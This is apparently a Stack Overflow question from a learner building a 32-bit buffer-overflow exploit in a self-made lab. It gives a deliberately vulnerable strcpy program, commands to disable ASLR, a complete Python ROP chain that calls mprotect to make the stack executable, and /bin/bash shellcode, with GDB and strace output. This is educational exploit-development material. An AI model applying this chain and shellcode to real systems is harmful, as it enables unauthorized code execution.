Problem with 32bit elf binary Buffer Overflow and ROP CHAIN on UNIX

1

First and foremost i have to mention that i wrote very much to what i did to maybe help other people interested in binary exploitation unterstand what i did and to document.

The actual Question starts after the second "___________________"

Lately i am learning some binary Exploitation, that brings me to my Question regarding this Topic:


What i am trying to accomplish: I have got an 64 bit Ubuntu Virtual Machine where i am compiling vulnerable .c Code as 32 bit. The ASLR and Stack Canary should be turned off for my test and the NX bit should be set. My Goal is to use ROPGadgets to make the Stack executable with mprotect.

What i already accomplished:

Vulnerable Code

    #include <stdio.h>
    #include <string.h>

    int main(int argc, char *argv[])
    {
        char buf[100];
        strcpy(buf, argv[1]);
        printf("Input was: %s\n", buf);
        
        return 0;
    }

I ran the following commands to disable ASLR and compiled the Program with the following comands:

1) When Compiling:
    gcc -m32 buf.c -o buf -fno-stack-protector

2) On System:
    setarch `uname -m` -R /bin/bash
    sudo sysctl kernel.randomize_va_space=0

The Result of gdb-peda checksec:

    gdb-peda$ checksec
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : ENABLED
    PIE       : ENABLED
    RELRO     : FULL

The Plan how it should be accomplished with the ROP Chain: the buffer is 100 bytes in size and the Payload is 33 bytes in size. so the first thing in the buffer will be a NOP sled (for debugging purposes i replaced this with a padding "AAAABBBB...") following the shellcode to run "/bin/bash". Hence it is a modern 32bit binary the first thing after segfault size needs to be the ecx value (which is the ebp value + 0x4) followed by a padding "CCCC". After that follow the ROP Gadgets to pop; ret; for ebx, ecx and edx Registers to fill the Registers with the Arguments for mprotect. (Note: these need to avoid zero bytes cause of the use of strcpy, therefore we change the values to avoid zero bytes and use inc and dec ROP Gadgets to adjust these values after they have been poped to the according registers. After that follows the call to mprotect + 17 bytes to skip the poping of registers, another padding and the return address to the NOP sled.

Final Exploit Code in Python

    from subprocess import call
    from struct import pack

    SegfaultValue = 100
    payload = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
    payload_len = 33
    nop_len = SegfaultValue - int(payload_len)

    offset = 0x0
    libc_base = 0xf7dc3000

    mprotect = pack("I", libc_base + 0x001041b0 + 17) #+17 to skip the setting of registers for the mprotect function
    pop_ecx_edx = pack("I", libc_base + 0x000350e4)
    pop_ebx = pack("I", libc_base + 0x000224a6)

    inc_ebx = pack("I", libc_base + 0x0008b822)
    dec_ebx = pack("I", libc_base + 0x00149951)
    inc_ecx = pack("I", libc_base + 0x0002ecc1)
    dec_ecx = pack("I", libc_base + 0x000233fa)
    inc_edx = pack("I", libc_base + 0x00087df4)

    #nop = "\x90"*nop_len
    nop = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQ"
    ecx = pack("I", 0xffffcedc + offset)
    pad = "CCCC"
    ebx_value = pack("I", 0xfffdd001)
    ecx_value = pack("I", 0x01010101)
    edx_value = pack("I", 0xffffffff)

    returnaddr = pack("I", 0xffffce80 + offset)

    exploit = nop + payload
    exploit += ecx
    exploit += pad
    exploit += pop_ecx_edx + ecx_value + edx_value
    exploit += pop_ebx + ebx_value

    exploit += dec_ebx

    exploit += inc_edx
    exploit += inc_edx
    exploit += inc_edx
    exploit += inc_edx
    exploit += inc_edx
    exploit += inc_edx
    exploit += inc_edx
    exploit += inc_edx

    exploit += mprotect
    exploit += pad
    exploit += returnaddr
    print(exploit)

This works all fine in GDB as the follwoing screenshots suggest:

As you can see the values are correctly poped to the registers pop registers

    [----------------------------------registers-----------------------------------]
    EAX: 0x0 
    EBX: 0x43434343 ('CCCC')
    ECX: 0xffffcedc --> 0x1010101 
    EDX: 0x56557016 --> 0x1b010000 
    ESI: 0xf7fae000 --> 0x1ead6c 
    EDI: 0xf7fae000 --> 0x1ead6c 
    EBP: 0xf7df80e4 (<setjmp+84>:   pop    ecx)
    ESP: 0xffffcedc --> 0x1010101 
    EIP: 0xf7df80e4 (<setjmp+84>:   pop    ecx)
    EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0xf7df80d9 <setjmp+73>:  push   0x1
       0xf7df80db <setjmp+75>:  push   DWORD PTR [esp+0x8]
       0xf7df80df <setjmp+79>:  call   0xf7df8040
    => 0xf7df80e4 <setjmp+84>:  pop    ecx
       0xf7df80e5 <setjmp+85>:  pop    edx
       0xf7df80e6 <setjmp+86>:  ret    
       0xf7df80e7:  xchg   ax,ax
       0xf7df80e9:  xchg   ax,ax

Register values after poping

    [----------------------------------registers-----------------------------------]
    EAX: 0x0 
    EBX: 0xfffdd001 --> 0x0 
    ECX: 0x1010101 
    EDX: 0xffffffff 
    ESI: 0xf7fae000 --> 0x1ead6c 
    EDI: 0xf7fae000 --> 0x1ead6c 
    EBP: 0xf7df80e4 (<setjmp+84>:   pop    ecx)
    ESP: 0xffffceec --> 0xf7f0c951 (<_IO_file_write+49>:    dec    ebx)
    EIP: 0xf7de54a7 (ret)
    EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0xf7de54a0:  add    esp,0x10
       0xf7de54a3:  add    esp,0x8
       0xf7de54a6:  pop    ebx
    => 0xf7de54a7:  ret    
       0xf7de54a8:  lea    esi,[esi+eiz*1+0x0]
       0xf7de54af:  nop
       0xf7de54b0:  mov    eax,DWORD PTR [ebx+0x170c]
       0xf7de54b6:  test   eax,eax

Correctly adjusted register values after inc and dec Gadgets: Final register values

    [----------------------------------registers-----------------------------------]
    EAX: 0x0 
    EBX: 0xfffdd000 --> 0x0 
    ECX: 0x1010101 
    EDX: 0x7 
    ESI: 0xf7fae000 --> 0x1ead6c 
    EDI: 0xf7fae000 --> 0x1ead6c 
    EBP: 0xf7df80e4 (<setjmp+84>:   pop    ecx)
    ESP: 0xffffcf10 --> 0xf7ec71c1 (<mprotect+17>:  mov    eax,0x7d)
    EIP: 0xf7e4adf5 (<calloc+421>:  ret)
    EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    => 0xf7e4adf5 <calloc+421>: ret    
       0xf7e4adf6 <calloc+422>: jmp    0xf7e4ad3b <calloc+235>
       0xf7e4adfb <calloc+427>: lea    esi,[esi+eiz*1+0x0]
       0xf7e4adff <calloc+431>: nop

The following 2 screenshots show that the mprotect function works: (before and after mprotect call)

permissions Before and after

before:

    gdb-peda$ vmmap
    Start      End        Perm  Name
    0x56555000 0x56556000 r--p  /home/stephan/Desktop/NonExecutableStack/buf
    0x56556000 0x56557000 r-xp  /home/stephan/Desktop/NonExecutableStack/buf
    0x56557000 0x56558000 r--p  /home/stephan/Desktop/NonExecutableStack/buf
    0x56558000 0x56559000 r--p  /home/stephan/Desktop/NonExecutableStack/buf
    0x56559000 0x5655a000 rw-p  /home/stephan/Desktop/NonExecutableStack/buf
    0xf7dc3000 0xf7de0000 r--p  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7de0000 0xf7f3b000 r-xp  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7f3b000 0xf7fab000 r--p  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7fab000 0xf7fac000 ---p  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7fac000 0xf7fae000 r--p  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7fae000 0xf7fb0000 rw-p  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7fb0000 0xf7fb2000 rw-p  mapped
    0xf7fc9000 0xf7fcb000 rw-p  mapped
    0xf7fcb000 0xf7fcf000 r--p  [vvar]
    0xf7fcf000 0xf7fd1000 r-xp  [vdso]
    0xf7fd1000 0xf7fd2000 r--p  /usr/lib/i386-linux-gnu/ld-2.31.so
    0xf7fd2000 0xf7ff0000 r-xp  /usr/lib/i386-linux-gnu/ld-2.31.so
    0xf7ff0000 0xf7ffb000 r--p  /usr/lib/i386-linux-gnu/ld-2.31.so
    0xf7ffc000 0xf7ffd000 r--p  /usr/lib/i386-linux-gnu/ld-2.31.so
    0xf7ffd000 0xf7ffe000 rw-p  /usr/lib/i386-linux-gnu/ld-2.31.so
    0xfffdd000 0xffffe000 rw-p  [stack]

after:

    gdb-peda$ vmmap
    Start      End        Perm  Name
    0x56555000 0x56556000 r--p  /home/stephan/Desktop/NonExecutableStack/buf
    0x56556000 0x56557000 r-xp  /home/stephan/Desktop/NonExecutableStack/buf
    0x56557000 0x56558000 r--p  /home/stephan/Desktop/NonExecutableStack/buf
    0x56558000 0x56559000 r--p  /home/stephan/Desktop/NonExecutableStack/buf
    0x56559000 0x5655a000 rw-p  /home/stephan/Desktop/NonExecutableStack/buf
    0x5655a000 0x5657c000 rw-p  [heap]
    0xf7dc3000 0xf7de0000 r--p  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7de0000 0xf7f3b000 r-xp  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7f3b000 0xf7fab000 r--p  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7fab000 0xf7fac000 ---p  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7fac000 0xf7fae000 r--p  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7fae000 0xf7fb0000 rw-p  /usr/lib/i386-linux-gnu/libc-2.31.so
    0xf7fb0000 0xf7fb2000 rw-p  mapped
    0xf7fc9000 0xf7fcb000 rw-p  mapped
    0xf7fcb000 0xf7fcf000 r--p  [vvar]
    0xf7fcf000 0xf7fd1000 r-xp  [vdso]
    0xf7fd1000 0xf7fd2000 r--p  /usr/lib/i386-linux-gnu/ld-2.31.so
    0xf7fd2000 0xf7ff0000 r-xp  /usr/lib/i386-linux-gnu/ld-2.31.so
    0xf7ff0000 0xf7ffb000 r--p  /usr/lib/i386-linux-gnu/ld-2.31.so
    0xf7ffc000 0xf7ffd000 r--p  /usr/lib/i386-linux-gnu/ld-2.31.so
    0xf7ffd000 0xf7ffe000 rw-p  /usr/lib/i386-linux-gnu/ld-2.31.so
    0xfffdd000 0xffffe000 rwxp  [stack]

The following Screehots suggest that the NOP sled is hit correctly and /bin/bash is run in GDB:

    [----------------------------------registers-----------------------------------]
    EAX: 0x0 
    EBX: 0xfffdd000 --> 0x0 
    ECX: 0x1010101 
    EDX: 0x7 
    ESI: 0xf7fae000 --> 0x1ead6c 
    EDI: 0xf7fae000 --> 0x1ead6c 
    EBP: 0xf7df80e4 (<setjmp+84>:   pop    ecx)
    ESP: 0xffffcf10 --> 0xf7ec71c1 (<mprotect+17>:  mov    eax,0x7d)
    EIP: 0xf7e4adf5 (<calloc+421>:  ret)
    EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    => 0xf7e4adf5 <calloc+421>: ret    
       0xf7e4adf6 <calloc+422>: jmp    0xf7e4ad3b <calloc+235>
       0xf7e4adfb <calloc+427>: lea    esi,[esi+eiz*1+0x0]
       0xf7e4adff <calloc+431>: nop
    [------------------------------------stack-------------------------------------]
    0000| 0xffffcf10 --> 0xf7ec71c1 (<mprotect+17>: mov    eax,0x7d)
    0004| 0xffffcf14 ("CCCC\200\316\377\377")
    0008| 0xffffcf18 --> 0xffffce80 ("FFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQj\vX\231Rfh-p\211\341Rjhh/bash/bin\211\343RQS\211\341̀\334\316\377\377CCCC\344\200\337\367\001\001\001\001\377\377\377\377\246T\336\367\001\320\375\377Q\311\360\367\364\255\344\367\364\255\344\367\364\255\344\367\364\255\344\367\364\255\344\367\364\255\344\367\364\255\344\367\364\255\344\367\301q\354\367CCCC\200\316\377\377")
    0012| 0xffffcf1c --> 0xf7fae000 --> 0x1ead6c 
    0016| 0xffffcf20 --> 0x0 
    0020| 0xffffcf24 --> 0xd8bac57b 
    0024| 0xffffcf28 --> 0x9b1a636b 
    0028| 0xffffcf2c --> 0x0 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    0xf7e4adf5 in calloc () from /lib/i386-linux-gnu/libc.so.6
    gdb-peda$ c
    Continuing.
    process 4408 is executing new program: /usr/bin/bash
    Warning:
    Cannot insert breakpoint 2.
    Cannot access memory at address 0x56556246





    gdb-peda$ c
    Continuing.
    Warning:
    Cannot insert breakpoint 2.
    Cannot access memory at address 0x56556246

    Command aborted.
    gdb-peda$ d
    gdb-peda$ c
    Continuing.
    [Attaching after process 4408 fork to child process 4595]
    [New inferior 2 (process 4595)]
    [Detaching after fork from parent process 4408]
    [Inferior 1 (process 4408) detached]
    process 4595 is executing new program: /usr/bin/groups
    [Inferior 2 (process 4595) exited normally]
    To run a command as administrator (user "root"), use "sudo <command>".
    See "man sudo_root" for details.

    Warning: not running
    gdb-peda$ stephan@stephan-VirtualBox:/home/stephan/Desktop/NonExecutableStack$ 

Sorry for this long post. Now to the Question/Problem


When i run the binary outside of GDB with the payload output ("./buf python2 ./test.py") i get a segfault. As you can see in the following with strace my pattern is hit at 0x44444444 which is "DDDD".

    execve("./buf", ["./buf", "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"...], 0x7fffffffde58 /* 61 vars */) = 0
    strace: [ Process PID=4793 runs in 32 bit mode. ]
    access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
    brk(NULL)                               = 0x5655a000
    arch_prctl(0x3001 /* ARCH_??? */, 0xffffcf38) = -1 EINVAL (Invalid argument)
    fcntl64(0, F_GETFD)                     = 0
    fcntl64(1, F_GETFD)                     = 0
    fcntl64(2, F_GETFD)                     = 0
    access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
    access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
    mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7fc9000
    access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
    fstat64(3, {st_mode=S_IFREG|0644, st_size=94032, ...}) = 0
    mmap2(NULL, 94032, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7fb2000
    close(3)                                = 0
    access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
    read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\240\360\1\0004\0\0\0"..., 512) = 512
    pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\373v&\335\213\212P\367hY H~\231%("..., 96, 468) = 96
    fstat64(3, {st_mode=S_IFREG|0755, st_size=2022760, ...}) = 0
    pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\373v&\335\213\212P\367hY H~\231%("..., 96, 468) = 96
    mmap2(NULL, 2027276, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7dc3000
    mprotect(0xf7de0000, 1884160, PROT_NONE) = 0
    mmap2(0xf7de0000, 1421312, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d000) = 0xf7de0000
    mmap2(0xf7f3b000, 458752, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x178000) = 0xf7f3b000
    mmap2(0xf7fac000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e8000) = 0xf7fac000
    mmap2(0xf7fb0000, 7948, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7fb0000
    close(3)                                = 0
    set_thread_area({entry_number=-1, base_addr=0xf7fca100, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
    mprotect(0xf7fac000, 8192, PROT_READ)   = 0
    mprotect(0x56558000, 4096, PROT_READ)   = 0
    mprotect(0xf7ffc000, 4096, PROT_READ)   = 0
    munmap(0xf7fb2000, 94032)               = 0
    fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
    brk(NULL)                               = 0x5655a000
    brk(0x5657b000)                         = 0x5657b000
    brk(0x5657c000)                         = 0x5657c000
    write(1, "Input was: AAAABBBBCCCCDDDDEEEEF"..., 188Input was: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQj
                                                                                                                                      X�Rfh-p��Rjhh/bash/bin��RQS��̀����CCCC��������T�����Q������������������������������������q��CCCC����
    ) = 188
    --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x44444444} ---
    +++ killed by SIGSEGV (core dumped) +++
    Segmentation fault (core dumped)

It seems like mprotect is not even run or am i mssing something?

That means:

  1. the value for ecx after segfault size is correct or i would get an segfault value there. (there seems to be no stack address deviation outside of gdb if so it could be bruteforced etc.)
  2. the mproctect address also must be correct in libc or i would probably(maybe not if i hit another spot that results in no segfault and returns) get an segfault value there or not?

Finally My Question:

What did i forget here?

  1. is there another security mechanism in place that prevents me from executing mprotect? (maybe NX policy to never have the executable segments also writable?)
  2. is it possible that the libc addresses deviate? (but i don´t think so, that would definitely result in a segfault in libc)
c
unix
gdb
asked on Stack Overflow Feb 5, 2021 by User1243 • edited Feb 5, 2021 by User1243

0 Answers

Nobody has answered this question yet.


User contributions licensed under CC BY-SA 3.0